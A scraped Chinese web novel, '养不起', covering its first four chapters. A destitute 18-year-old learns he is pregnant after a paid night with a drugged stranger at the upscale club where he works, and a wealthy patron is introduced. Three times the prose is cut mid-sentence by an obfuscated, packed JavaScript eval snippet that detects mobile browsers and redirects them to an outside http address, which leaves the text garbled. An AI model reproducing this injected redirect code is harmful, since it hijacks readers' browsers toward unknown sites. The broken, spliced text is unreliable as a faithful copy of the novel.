《养不起》 1. 第 1 章 疾州距离京都有一千多公里,只有小青沟这段路坑坑洼洼,长久失修。 沈茁坐在村里通往县城的客车上,车体带着他一起颠簸,就连额头的碎发也跟着“群魔乱舞”。 他坐在车子的最后一排,是颠簸最严重的区域,几乎要把五脏六腑都颠出来。 静静靠在椅背上,沈茁看向窗外,脑子里全都是这几天的糟心事。 他爸妈死了,车子从高架飞出去,两人当场身亡。 沈茁刚见到那两团血肉模糊的尸体时,良久没回过神来。 爹妈死了还死得很惨,这并不足以让他有太大的情绪起伏。 沈茁既不悲伤也不高兴,就觉得死了就死了,那两人这么浑浑噩噩活着还不如死了。 这种波澜不惊的情绪过后,沈茁又后知后觉反应过来,他是该高兴的。 好像有什么东西被打通了,他突然就对自己前十八年的破烂人生释然了。 沈茁是吃百家饭长大的,从小父母就不怎么管他,两岁的时候就把他送去了爷爷家。 最可笑的是,他爷爷也不管他,他经常一饿就是一两天。 好在周围的邻居热心,有事没事就给他点饭吃,这么磕磕绊绊也算是长大了。 初一那年,沈茁才开始过上好日子,他姥爷看不下去把他接走了。 说是好日子,那是从心灵层面来讲的,他姥爷是真心爱他,沈茁虽然小但看人却很明白。 那时候日子还是苦的,但是心不苦。 后来高中上了一半,他姥爷没了,从那时候起沈茁的心也开始苦了。 姥爷死的时候很平静,上一秒还跟他说要烧火炖点粉条,下一秒人就躺在炕上不说话了。 沈茁发现的时候他的手已经凉了。 那时候他没哭,只是抬头看了眼时间然后默默记在了心里。 那是个冬天,屋子哇凉哇凉的,沈茁怕姥爷冷拽了好几个被给姥爷盖上。 然后他从床柜里掏出了个破塑料袋,里面是一打破破烂烂的零钱。 数了数,一共六百七十八块二,不够买个好棺材的。 也不不够学费和书本费。 沈茁看着窗外的大雪出神,小青沟没有雪,但是姥爷家有,小青沟没有爱,但是姥爷家有。 现在都没了。 他没跟任何人说,自己跟姥爷的尸体睡了一夜。 第二天沈茁早早就起了,乡下的冬天,学校要烧炉子。 全班不到四十个学生每天轮流早起去烧炉子,这天刚好轮到沈茁。 他没背书包,家里还有一袋苞米棒,他全都背学校去了。 烧好炉子外面的雪也越下越大,沈茁站在办公室门口等班主任来。 半个小时后才等到人,那时候他头上已经堆满了雪,几乎快要冻成冰棍。 班主任是个三十多岁的年轻女人,一听他要辍学说什么也不同意,沈茁成绩好人也听话,平日里最招老师们喜欢。 见班主任坚持,甚至还提出要家访,沈茁直接说了实话:“我姥爷死了。” 那天的雪大风也大,他刚说完话门就被吹开了,沈茁立刻跑去关门。 再回来班主任的眼睛已经红了,她知道他家里的情况,一个身体不怎么好的老人独自拉扯着个营养不良的孩子。 大人死了,这乡下没有稳定来钱的营生,沈茁到底是上不了学了。 班主任没再说别的劝说的话,只点点头说会帮沈茁办好手续。 然后沈茁就回家了,姥爷还在炕上,他开始想怎么处理尸体。 其实沈茁一直有个愿望就是带姥爷去看看天安门,他姥爷这人太爱国,老嚷嚷着想看,但经济条件却不允许。 现在人死了,是再也不能亲眼看了,要不带着姥爷的骨灰去看呢? 沈茁又开始想,火葬场离这远,运输费加上火葬费这六百多也不够。 他要是出去打工倒是能挣到钱,但等他打工回来,姥爷的尸体恐怕都臭了,总不能把尸体放雪地里呆一个月。 沈茁为这事愁了一天,直到晚上天全黑了,外头的雪还在下,却突然有人敲响了他家的门。 是他的班主任,她穿着深黑色的羽绒服,帽子几乎把她的脸全都挡住了。 开门后见到人,沈茁愣了一下,才呆呆地跟班主任问好,然后想迎人进屋。 班主任摆摆手没说话,直接往他怀里塞了个黑塑料袋,不等他反应就走了。 沈茁喊了几声,班主任始终没回头。 他只好拿着袋子进了屋,打开袋子后,沈茁看到袋子装着差不多两千块钱。 他这才终于哭了出来,感动连带着对姥爷死去的眼泪,一起流了下来。 沈茁扭头看着窗外班主任留下的一长串脚印,决定要把姥爷葬在京都。 在最近的火葬场把姥爷火化后,沈茁抱着骨灰盒去了京都打工。 打工的第二年,他依旧买不起京都一块最便宜的墓地。 想了想,沈茁挑了个风和日丽的日子,坐车去到京郊一处荒凉地,挖了个坑把姥爷埋了。 他自己也从此留在了京都,住在几百一个月的筒子楼,做着最基础的服务类工作。 没成想,在十八岁这年,他爸妈死了。 不知道谁在哪找到了他的联系方式,喊他回去收尸。 听到消息的瞬间,沈茁是懵的,直到回到小青沟他都处在一种很魔幻的状态里。 沈茁最意想不到的,是他前脚刚踏进村子里,后脚他的七大姑八大姨就围上来,说他爸妈没留遗嘱,家里那房子也有他们的一半。 他当时直接被气笑了,心想那不到两万块的房子,着急买了他们一共也就能分六七千。 从前他快饿死的时候没人管,到了能分好处的时候却一个个全跳出来了。 沈茁没想跟他们争什么,转头就低价把那房子卖给了村里一个老光棍。 卖了一万块他自己留了五千,剩下的一分也没多要。 这五千他也一点没留给自己,而是用这钱给那两个血团子“风风光光”下了葬。 沈茁对小青沟的人都没什么感情,其实说起来他是该恨他们的,尤其该恨他那对生而不养的父母。 但这两人死后,他心里那日积月累的怨恨好像就一下子消失了。 沈茁突然想明白过来,他的怨恨折磨的永远是他自己。 现如今人都死了,他可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799712|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以彻底放下之前的一切,去过自己的生活。 那五千沈茁一分不要不是因为他心善,而是他一辈子没沾到父母一点好,也没给父母什么好,这钱就算是报答了生育之恩。 沈茁的确不是心善的,他为了解气把这两人分别葬在了隔壁的两个县。 一个在小青沟西南方,一个则在东北方,构成了一个完美的对角线。 这样看似很幼稚的行为,却是他对这么多年的恨意唯一的疏解。 想到这,沈茁突然有点想笑,可还没真的笑出来,车子突然经过一个大坑。 他整个人被弹起来,又重重落在座位上。 落下的瞬间,沈茁感到小腹传来了阵阵疼痛。 他立刻用手捂住肚子,难道是吃坏肚子了? 将手掌贴在小腹轻轻打转,沈茁皱着眉回想,他中午只吃了一个肉包子喝了一瓶矿泉水,难道是肉有问题? 没等他想明白什么,腹部又传来了剧痛,沈茁本就没什么气色的脸瞬间变得煞白。 他用力按住肚子,想以此缓解疼痛,没想到肚子却越来越疼。 客车上没几个人,大家都安安静静坐着,这穷乡僻壤的地方就算停车也找不到诊所看病,甚至连茅厕都没有一个。 沈茁只能忍着,他用力攥紧了前面的车座靠背,豆大的汗珠从额头滑落。 车开的明明不慢,却让他有种度日如年的感觉。 就在沈茁快要撑不下去时,上衣口袋里的手机突然响了。 他忍痛拿出手机,是他那个只在葬礼上见过一面的大表哥打来的。 “沈茁,你是不是脑子有泡?”电话刚接通,对面就是一阵怒吼,“那房子你竟然就买了一万?!” “嗯。”沈茁疼的连说话的力气都没有。 “沈茁,你真该去医院看看,要不是我亲自去那老光棍家问了,我还以为你把钱吞了呢,那房子至少值一万五,你卖一万?”对面的声音越来越大。 “房子……房子已经卖了,钱也给你们了,你们还有什么不满意的?”沈茁忍痛道。 “你个有妈生没妈养的玩意,”对面啐了口吐沫,骂道:“老子真是给你脸了,你就这么跟长辈说话?” “你有意见?”沈茁的火气也被激了起来,“有意见就去跟我地底下的爹妈说,不用怕见不着,你们这种心肝脏的人晚上最容易见鬼了。” “你……” “那五千你也分不到多少吧?”沈茁冷笑一声,打断对面的话,“这么大了还为了这点钱斤斤计较,知道你没什么出息了,不用特意打电话来告诉我。” 说完,沈茁就挂断了电话,紧接着就把对面拉黑了,包括村里其他人的手机号,只要是联系过他的,沈茁都拉黑了。 也不知怎的,这么发了一通火,他的肚子反而没有那么疼了。 翻江倒海的痛感褪去,取而代之的是小腹隐隐的酸痛和下坠感。 沈茁捂着肚子,心里突然生出了不好的预感。 他……该不会是得什么病了吧? 这个念头一出来,沈茁就冷汗直冒。 他才十八岁,过了那么多苦日子,爹妈才刚下葬,难不成人生就要结束了? 2. 第 2 章 倒了两三辆车,沈茁才终于在第二天傍晚回到了京都。 京都不只有繁华的商业街,也不是所有的建筑都那么雄伟壮观。 沈茁住的筒子楼就是特例之一,在京都最偏僻的地段,一共六层楼那么高,每层都住了好几户人。 住在这的几乎都是京都最底层的人,不是来务工的,就是租不起房子的京漂。 沈茁住在五楼,他左边那户住了个大姐,大姐是做上门家政的,也是个热心肠,偶尔做了好吃的还会给他送过来。 他右边那户住的是他房东的儿子,那是个二百多斤的胖子,也是个酒鬼。 沈茁的房东是个五十多岁的中年男人,男人早年丧妻,一个人把孩子拉扯大。 可惜那孩子是个不知感恩的,小小年纪就染上了烟瘾,还没成年就开始酗酒,到了二十多岁还没有工作,全靠他爸养着。 沈茁每次回家都会从左边的楼梯上来,就是为了避开那个酒鬼。 好巧不巧这次沈茁回来,左侧的楼梯被几个旧柜子堵住了,估计是有人要搬家或者清理旧物搬下来的。 无奈,沈茁只能从右侧的楼梯上楼。 他的体重很轻,又刻意压低了脚步声,走起路来几乎没什么声音。 可经过那酒鬼家门口时,却刚好撞到酒鬼从家里出来。 他抱着一个喝了一半的酒瓶子,浑身都是酒气,身上的烟味熏得沈茁反胃。 沈茁不着痕迹地皱了皱眉,往楼道左边让了让,刻意跟那酒鬼拉开了距离。 “沈……沈茁,你这几天不在家?”酒鬼大着舌头说。 筒子楼的楼道跟这栋楼一样狭窄,沈茁被酒鬼挡住大半的路,强烈的酒气直往鼻子里钻。 他抬手遮住鼻子,没说话,只轻轻点了点头。 酒鬼跟人约好了去打牌,也无意跟沈茁纠缠,提溜着酒瓶子就走了。 只是在经过沈茁时故意撞了一下他的肩膀,与此同时从喉咙里发出了一声耐人寻味的轻哼。 沈茁营养不良的身体被撞了个趔趄,他没理会而是快速打开门进了屋,关上门后迅速锁上房门,往窗外看了看,确认人真的走了才放下心来。 他这件屋子是整栋楼最小的,原本这房间跟隔壁酒鬼住的那间是一户。 但房东为了赚钱找人把一间房隔成了两间,一间用来自己住一间租出去。 因此他这间格外的小,房子里只有一张一米二的铁床,额外摆了一张桌子和一个可折叠的板凳,屋里没有上厕所和做饭的地方。 早晚洗漱沈茁都会去走廊尽头的公用洗漱台,至于一日三餐,他通常是吃泡面来解决。 进了屋,沈茁什么也不想干,他脱掉外套几步就爬上了床。 老旧的铁床发出咯吱咯吱的声音,楼下小商贩叫卖的声音,还有小孩尖锐的嬉闹声,直冲他的耳鼓。 沈茁的心咚咚咚地跳着,他的脑子很乱,乱到不知道该想些什么,又无法平静下来。 他首先想到的是那对死去的父母,两个生命的终结,却让他打心底里感觉爽快。 然后,沈茁想到了刚刚那个酒鬼。 辍学之后他就出来打工,做过迎宾也做过洗碗工,当然做的最多的是服务员。 算起来也有一年多了,沈茁也遇到过难搞的客人,但没有一个让他感到过害怕,可隔壁的酒鬼却让他打心眼里恐惧。 一开始隔壁的酒鬼对他还算客气,直到一个月前沈茁换了新的工作,下班的时间也从晚上九点变成了凌晨一点。 那天半夜他下班回家,撞到酒鬼在欺负一个路过的学生,他也不知哪来的勇气怒喝了一声,把那酒鬼吓了一跳。 学生趁酒鬼不注意跑了,他从此也被那个酒鬼记恨上了。 一开始沈茁也没觉得怎样,直到有天晚上他半夜被渴醒,打开手机的手电筒,借着微弱的光源下床找喝的。 漆黑的屋子静得可怕,找水的时候手机没拿稳,不小心照到了窗户。 沈茁一抬头就看到一张油腻腻的大脸紧紧贴在窗户上,吓得他登时就僵在了原地,心脏甚至有一瞬的骤停。 反应过来后他立刻关掉手机,整个屋子都陷入了黑暗。 沈茁听到外面酒鬼哈哈笑了几声,然后是踢踢踏踏的脚步声。 安静了一会后,自家“弱不经风”的房门被重重砸了一拳,外面又传来了桀桀桀的笑声。 那天之后沈茁一到晚上就开始心悸,他也开始物色新的房子,可惜一直没找到合适的。 那个酒鬼在监视自己,沈茁每每想到这个,都会感到头皮一阵发麻。 如果那天他没在那个时间下班就好了,沈茁想,但这样的话那个学生会不会…… 沈茁烦躁地踢了下被子,小腹又开始坠坠的疼。 他捂住肚子,心又凉了半截,差点忘了自己恐怕活不长了。 苦笑了一声,沈茁捂着肚子仰面躺在床上,他看着布满油渍的天花板,肚子咕噜噜叫了起来。 饿了,但家里的泡面都吃完了,沈茁不想下楼,干脆又开始冥想。 在金嘉酒店辞职后,他经人引荐去了京都最高档的会所当服务生。 按理说他一直是凌晨一点下班,可撞到酒鬼那天他是三点多才回家的。 那天发生了什么来着? 沈茁把脑子里的记忆挖出来,想要嚼一嚼当饭吃。 可想了半天,脑子里还是一片空白,好像那天晚上的记忆凭空消失了一样。 他换了个姿势,把自己缩成一团窝在被子里。 也不知道从什么时候开始,他有个了“超能力”,就是会自动屏蔽掉让自己痛苦的记忆。 这应该算是好事吧,沈茁紧紧攥着被角,闭上了眼睛。 小腹疼,胃也疼,心也因为担心被人监视而惴惴不安。 但沈茁就这样睡着了,在夕阳逐渐下移的时候,最后一缕阳光消失在窗前,屋内响起了平稳的呼吸声。 * “你……你能不能帮帮我。” 一个男孩抓住了沈茁的手,他的脸颊像熟透了的苹果一样红,身上的衣服更是无比凌乱。 沈茁是会所的服务生,他的工作就是帮助客人解决问题。 他回握住男孩的手,语气里带着安抚,轻声问:“先生,您有什么问题吗?” “你……”男孩开始发抖,紧接着竟哭了出来,“你能不能帮我应付一下屋里的人。” 沈茁已经在会所工作了一段时间,自然听得懂男孩话里的意思。 他瑟缩了一下,摇摇头说:“抱歉先生,我是服务生不是这里的少爷。” “求你了!”男孩紧紧抓住沈茁的手,“现在这时候我上哪找人,里面那位年轻又长得帅,你不吃亏。” “就帮我这一次吧,”说着男孩往沈茁手里塞了一张卡,“我……其实我有男朋友,就是赌气才来干这个的,现在后悔了可里面那个我得罪不起。” “这卡里有五万是里面那人给的,没有密码,我全都给你,里面那位刚喝了酒,现在药劲估计上来了。” “屋里黑他没看清我的脸,你就帮帮我吧。” 男孩的语气里充满了恐惧,好像屋里的是他们惹不起的大人物,但沈茁只听到了五万块。 五万块,可以在京都买块墓地了。 有了这五万,他姥爷就再也不是孤魂野鬼了,他姥爷就有家了! 沈茁双眼放光,接过男孩手里的银行卡,死死攥在手里。 他深深呼吸着,只用一秒钟的时间就做出了选择,他点头同意了,然后推开门走了进去。 屋子里很热,昏暗的灯光下,沈茁看到一个脱得精光的男人躺在床上。 高脚杯倒在地毯上,红酒染红了纯白色的绒毛,酒精味混合着床上男人重重的喘息声。 沈茁双脚发软,他在门口脱掉鞋子,赤着脚走到床边。 没等看清男人的脸,房内唯一的光源瞬间暗了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这活真不是人干的,沈茁的心在滴血,他感觉自己像块浮木,漂在波涛汹涌的海面。 讨厌粗粗的木头棒子,讨厌不知轻重的人,讨厌横冲直撞。 但是有五万块,五万块可以给姥爷买墓地。 五万块,买墓地…… 五万的墓地…… * 睡梦中,沈茁低声呓语:“五万……五万块,可以买墓地了……” 他陷在梦里,脑子里都是墓地,他想到那五万块还在卡里,他还没来得及给姥爷买墓地。 他姥爷估计现在还在郊区飘着,飘着…… 想到这,沈茁突然醒了,他猛地睁开眼,从床上坐起。 心脏开始狂跳,他捂住胸口,一个月前那个晚上的记忆重新回笼,他竟然想起了那天发生的事。 他为了五万把自己给卖了,一个晚上五万块好像很划算的样子。 可没人知道那天半夜他失魂落魄回到家,先是跟一个酒鬼对峙,然后叫醒楼上的老奶奶,花了五块去楼里狭小的浴池洗澡。 洗澡的时候他发现身体里的东西那么多,好像怎么也洗不干净,那个男人太可恶了,把那么多东西弄了进来。 天知道,那时候他有多绝望。 一个月了,原来已经过去一个月了。 沈茁呆坐在床上,那种窒息感和撕裂的痛感,好似又重新出现在身体上。 他咬住嘴唇,眼睛定定看着前方。 良久才终于想要下床,掀开被子的瞬间,沈茁看到自己两腿间的床单上是刺目的红。 洗到发白的床单,上面是一大片的鲜血。 是他的血,他身上留下来的血…… 是啊,沈茁惊恐地看着床单,他怎么忘了,他该去医院看看,他兴许是病了。 3. 第 3 章 “什……什么,我怀孕了?” 隔了两条街的中医馆,沈茁的手腕搭在柔软的腕托上,对面的老中医喝了口茶水,也是一脸不可置信。 “你再把那只手放上来,我给你一起号一号。”老中医说。 沈茁听话地放上了另一只手,老中医双手号脉,几分钟后才收回手,只是面上依旧是一副难言的神色。 “这……这确确实实是喜脉啊。” 老中医百思不得其解,又问沈茁:“你确定你是男的?” “老师傅,我真的是男的。”沈茁苦笑道。 还好不是绝症,他暗暗松了口气,但……怀孕这也太扯了。 沈茁小心翼翼地问:“老师傅,您……会不会看错了?” 老中医切了一声,面色微愠,“小伙子,我这医馆开了几十年,你还是第一个当面质疑的。” “抱歉,”沈茁自知说错了话,立刻解释,“师傅,我不是怀疑您,只是我真的是男生,怎么会怀孕呢?” “你不仅怀孕了,我还能诊出你这一胎怀了将近一个月,”老中医最恨被人怀疑医术,干脆一股脑把诊出的结果全说了出来,“你这孩子身子亏空,哪哪都是毛病。” 老中医皱着眉头,叹气道:“诶呀呀,你这身体太差了,这孩子还真顽强,这都能活一个月。” 沈茁有些难堪地扯了扯嘴角,心瞬间就凉了,“老师傅,您确定是一个月?” “这还能有假?”老师傅再次被质疑,登时便吹胡子瞪眼地说:“你这孩子,我看你是个小年轻脸皮薄才没说出来,你跟你家那位是上个月初二同房的吧。” 上个月初二,孩子怀了将近一个月…… 沈茁瞬间就想到了那晚,那是他唯一一次,竟然就…… “能……能打掉吗?”沈茁问。 他脸色苍白,想到这几天肚子时不时的酸痛,还有早上被单上那一摊血,莫名担心起了肚子里的孩子。 “这孩子不好打啊,”老中医沉思片刻,蹙眉道:“这么着吧,我给你推荐个人,是市中心一家私立医院妇产科的医生,明天你直接过去让他给你拍个片。” “你这情况太特殊了,你身体还这么差,要是好好养身子把孩子生下来兴许是个办法,现在要是流了估计会一尸两命。” “老师傅,我……我家的条件不太好,”沈茁面露难色,试探着问:“去您朋友那拍片,大概需要多少钱啊?” “嘿,你当我是号贩子?”老中医又没了笑脸,“我那朋友就喜欢研究你这种‘奇葩’案例,一会我给他打电话,拍片就给你免费了,你出个车马费就成。” “真……真的?”沈茁不可置信地起身,握住老中医的手连连道谢,“谢谢您,真的谢谢您,我……我都不知道该怎么谢您了……” “可别,”老中医拂开他的手,转身从柜台里拿了包药塞进沈茁怀里,“这是我平时闲着没事配的安胎药,正好遇上你了,拿回家煮了喝去吧。” “诶。” * 出了中医馆,沈茁没立刻回家,而是先在楼下药店买了几个验孕棒。 回了家他关上房门,把暖壶里仅剩的热水都喝了,然后坐在床上开始酝酿尿意。 床上的床单还没来得及换,那摊血像干枯的玫瑰,绽放在纯白的画布上。 沈茁慢慢抚上小腹,他的肚子里竟然有一个小生命,这简直太让人难以置信了。 会是男孩还是女孩呢? 如果是个男孩应该会长得像自己,要是个女孩估计会像…… 那天那位。 一想到这个,沈茁刚刚上扬的嘴角瞬间僵住,他不知道那个人是谁,也不知道他的长相如何,只知道那是他惹不起的人。 沈茁看着房顶的吊灯,暗黄色的光照着不怎么大的房间。 地是水泥地,桌子是上一个租户淘汰下来的,就连那个折叠椅都是超市买牛奶送的。 他身上只有不到一千块,和一张五万的卡,肚子里揣着个不知道爸爸是谁的孩子。 沈茁不禁苦笑,他竟然又回到了这样苦涩的日子。 拿起手机看了眼日历,沈茁只跟会所经理请了五天假,明天下午就得回去上班了。 早上八点去医院,应该还来得及。 这么胡乱想了一会,沈茁终于有了尿意。 他拉上自家小窗户的窗帘,锁好门,鼓足了勇气脱下裤子。 一共三个验孕棒,沈茁每一个都测了,按照步骤测完,他把验孕棒排成一排放在桌上。 顾及肚子里的孩子,沈茁稳稳当当坐在椅子上等结果。 几分钟后,他眼睁睁看着那三根棒子都慢慢显色,变成了两道杠。 沈茁心如死灰,他竟然……真的怀孕了。 * “医生,片子里能看出什么吗?” 第二天,沈茁如约去了医院,给他做检查的医生叫韩卓,是个三十出头的青年。 他的头发是全科室最茂密的,脸上带着金丝眼眶,颇有种“斯文败类”的感觉。 “月份太小,b超也只能看到胎囊,”韩卓推了推眼睛,“不过可以确定,你的确怀孕了。” 说着,他眼神下移看向沈茁的私密部位,“你真是个带把的?” 沈茁被这位医生直接的发言吓了一跳,他脸颊发红,羞涩道:“我……我确实是男的。” 韩卓用手指哒哒敲击着桌板,半晌开口问:“年龄多大?最近同房是什么时候?孩子另一个爸能不能过来?” 沈茁一一回答,在回答最后一个问题时顿了一下,“孩子……孩子没有另一个爸,我也不知道他在哪。” 听沈茁这么说,韩卓冷哼一声,“一夜情?” “差不多吧。”沈茁的声音越来越小。 “以后每半个月来我这产检,我会记录你每次产检的数据做医学研究,一会你签个数据公开协议,医院会报销你百分之九十的检查费用。” “按我开的方子去药店买药,怎么吃都在上面,”韩卓说,“你有先兆流产的迹象,我那老相好给你开安胎药了吗?” 老相好? 沈茁一时没反应过来,等回过神来简直要惊掉下巴,韩医生跟那个老中医是一对? “开……开了。” 韩卓嗯了一声,“坚持喝安胎药,你这身子适合中医慢慢调,药喝完了就再去找那老家伙要,坚持喝半个月不能停。” 沈茁点点头,“好。” 出了医院沈茁按照药方开了几盒西药,距离上班时间还有几个小时,这时间说长不长说短也不短。 如果先回家又要多一笔车费,沈茁干脆提前去了会所。 白天会所几乎没什么人,沈茁跟前台要了钥匙,进到了员工休息室。 换上服务生的制服,沈茁坐在椅子上,拿出了那张b超单,借着日光仔细端看了起来。 果然跟韩医生说的一样,宝宝还是个小团子,那么小一个在他的肚子里,还不成人形呢。 沈茁盯着那个小肉团看了许久,突然感觉鼻头发酸,紧跟着眼眶就红了。 直到现在他才对怀孕的事有了实感,真的有一个生命在他的身体里。 自打记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799714|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事起沈茁就没感受过被爱的滋味,唯一给他爱的姥爷又早早去世了。 他时常感觉自己像浮萍,在世界这个大水池里到处漂,没有一处不是他的家,也没有一处是他的家。 沈茁经常会想一个问题,如果一个人过一辈子究竟算不算有家? 一个人也可以是一个家吗? 他一个人能活下去就很艰难了,所以从没想过要结婚,更别提有孩子了。 所以他一辈子都会是一个人,是不是也就不能有家了? 在此之前这个答案都充满了悲剧色彩,但今天沈茁看着b超单上那个小小的圆球,悲剧的答案终于迎来了一丝光明。 他有孩子了,有亲人了,两个人的家不论再小再破也算是个家了。 昨天在医馆,他确认怀孕后,问的第一个问题是能不能打掉。 其实不是他不想要这个孩子,只是他自己生活都很勉强,怎么养得起一个孩子呢? 所以沈茁的第一反应,就是不让孩子生下来跟他一起受苦。 可是…… 看着这个小团子,他突然就不忍心了,就算打掉孩子他不会死,他也想留下这个孩子。 那五万要不就留着养孩子吧,沈茁想,他姥爷应该也会希望他先把这钱给宝宝用。 他想得出神,休息室的门却突然被人推开了。 沈茁心里咯噔一下,第一反应就是不能被人看到b超单,在门打开的瞬间他用最快的速度把b超单放进了袋子里,然后塞进了更衣柜的夹缝里。 做完这些他才转过身去,进来的不是别人正是他的上司——方经理。 “沈茁,怎么这么早就来了?”方经理面带笑容,语气温和地问。 休息室的空间并不大,沈茁一转身就对上了方经理的眼睛,他笑了笑回道:“请了这么多天假,我心里过意不去,就提前来打扫打扫卫生。” 方经理的眼神在沈茁身上转了转,带着审视的目光几乎把他从头到脚搜刮了个遍。 沈茁避开方经理的目光,突然感到一阵胆寒。 这个方经理从他入职的第一天,就劝他别做服务生改当坐台少爷,美名其曰“躺着就把钱挣了,轻松”。 但沈茁有自己的坚持,他就是再穷也不会干这个糟践自己。 第一次拒绝后,方经理只是惋惜地摇摇头,可没过几天就又提了这事,直到现在沈茁已经拒绝了方经理不下三次。 这回估计也是要说这事。 方经理笑了笑,“小沈啊,我昨天听小天说,你上个月有天晚上留在会所加班了?” 他把“加班”两个字咬得极重,好像生怕沈茁听不出他的话外音一样。 “哪有的事,”沈茁面色不改,却在暗中握紧了拳头,“小天上个月请了好几天假,估计是记错了。” “行行行,就当小天是记错了,”方经理也不纠缠,他上前一步拍了拍沈茁的肩,“王总来了,在楼上包间跟人喝酒呢,指名道姓要你过去服务。” 方经理是个不到三十岁的小年轻,人长得也清秀,可在会所呆的时间长了,也免不了染上了一股俗气。 就连说话的言语间也总是带着情色的意味,“小沈,王总你可还记得,人家回回来都点你伺候,这次可不能再拒绝了。” 说完,不等沈茁反应,方经理就转身走出了休息间。 关门的瞬间,他还不忘叮嘱:“在这干活,衣服扣子不用扣那么严实。” 这话听得沈茁一阵恶寒,可他还不能丢了这工作。 就算为了肚子里的孩子,他也得把这个月的工资拿到手。 4. 第 4 章 下午六点,S888包厢。 包厢正中间是一张真皮沙发,沙发上坐着个气度不凡的男人。 他眼窝深邃,眉眼锋利,偏薄的嘴唇让他整个人看起来充满了攻击性。 头发被发胶固定住,额前没有一根碎发,修身的黑白西装衬得他精壮的身材更加性感。 林庭安以一种非常放松的姿态坐在主位,面前是半杯Remy Martin白兰地。 今天是亲友局,包厢里氛围很好,大家都很放松。 可唯独林庭安这个组局的兴致缺缺,自打进了包厢就端着酒杯,隔几分钟浅酌一口,不知道的还以为这位是个文艺青年。 在场的只有冯尽能跟林庭安说上话,他走过去夺走林庭安手里的杯子,啪嗒往桌子上一放,然后用力把杯子推了出去。 “您可真是个爷,”冯尽一屁股坐在沙发扶手上,勾着林庭安的脖子说:“不是,您老人家耷拉着脸往这一坐,跟个活阎王一样,有心事?” 林庭安嫌弃地推开冯尽的手,啧了一声,“管好你自己。” “呦呦呦,还管好你自己~”冯尽臭屁地重复了一遍林庭安的话,又贱兮兮地问:“诶,你说实话,是不是家里又催你找女朋友了?” “还是林岩那小子贼心不死,暗地里搞小动作了?” 冯尽说的这两件事,事事戳林庭安的心窝子,他白了冯尽一眼,骂了句“骚包”。 得,这是真生气了,冯尽跟林庭安是大学认识了,这么多年对他还算了解。 听林庭安这么说,他也不自找没趣,凑巧这时候包厢里进来了几个年轻漂亮的陪酒,冯尽撇撇嘴搂着两个年轻男孩上一边玩去了。 进来的这几个陪酒都长得不错,在会所里谁都知道他们是进来干什么的。 其中一个陪酒长得尤为妖艳,精瘦的腰身像水蛇一样,他穿了件露腰的紧身上衣,连裤子都是紧身的。 就连冯尽这种阅人无数的,见了都忍不住想说句“真骚”。 可惜这小水蛇没看上他,一进门就直奔主位的林庭安去了。 “先生,要不要喝点别的酒。” 小水蛇十分大胆地坐到了林庭安身上,勾引意味十足。 他说的喝点别的酒自然不只是喝酒那么简单,会所每周都有培训,他刚学了一招,用自己的嘴当容器给客人喂酒,听说前几天有个客人一开心,给了一个陪酒两万呢。 可惜,小水蛇这算盘打错了。 林庭安冷哼一声,从喉咙里挤出了个冰冷的“滚”,精壮的大腿猛地向上一抬,小水蛇瞬间弹了出去。 小水蛇直接懵了,他站在原地瑟瑟发抖,生怕把人给得罪了。 这时候冯尽这个和事佬及时凑上来,揪着小水蛇的脖颈就把人带走了。 边走还边说:“你说你没事招惹他干啥?那位有洁癖,今天还心情不好,你找他还不如找我。” “我……我不知道。”小水蛇吓得声音发抖,他扑进冯尽怀里,揪着男人的衣角说:“帅哥,你帮我求求情,我还想继续在这干呢。” 这几句话把冯尽说得心猿意马,他勾着小水蛇的腰走出了包厢,“那位心大不会放在心上,你现在该考虑的是把我给哄好了。” “不然我去你们经理那说句话,你这工作可就不保了。” “别呀,”小水蛇扭着腰,撒娇道:“帅哥,楼上有间空房,我带你去。” “只是,我一晚上可不便宜。” “看不起谁呢?”冯尽在小水蛇屁股上狠狠抓了一下,“一晚上给你三万,够不够?” 小水蛇听了立刻笑开了花,可嘴上却还是故作嗔怪,“帅哥,人家隔壁的老总亲个嘴就给两万呢~” “得,十万够不够买你一晚上?” 冯尽的话消失在走廊尽头,小水蛇的笑声帮他收了个尾。 包厢里的林庭安就没这么开心了,他吩咐服务生重新开了瓶酒,也顾不上什么劳什子品酒礼仪,倒了满满一杯,一口全喝了。 辛辣的液体顺着喉咙游遍上半身,林庭安心里发愁,最近不仅生意上不顺,就连他自己的个人感情也被人插了一脚。 高中的时候林庭安就知道自己是个弯的,这事他没想瞒家里一辈子,但自己亲自说出来,和被迫出柜差别可大了去了。 就在几个月前,他那个处处比不上他,又处处要跟他比的表哥林岩在暗地里给他使绊子。 不知道从哪把他高中时候,在学校匿名论坛上发的帖子给翻出来,复印了好几份给他爸妈和爷爷一人发了一份。 那时候他刚发现自己的性取向,怎么可能不迷茫? 病急了只能乱投医,就上学校的匿名论坛上问:【看学弟游泳硬了是不是gay?】 后来还问过:【gay和正常人有什么区别?】【怎么确认自己是不是gay?】【gay怎么做?】 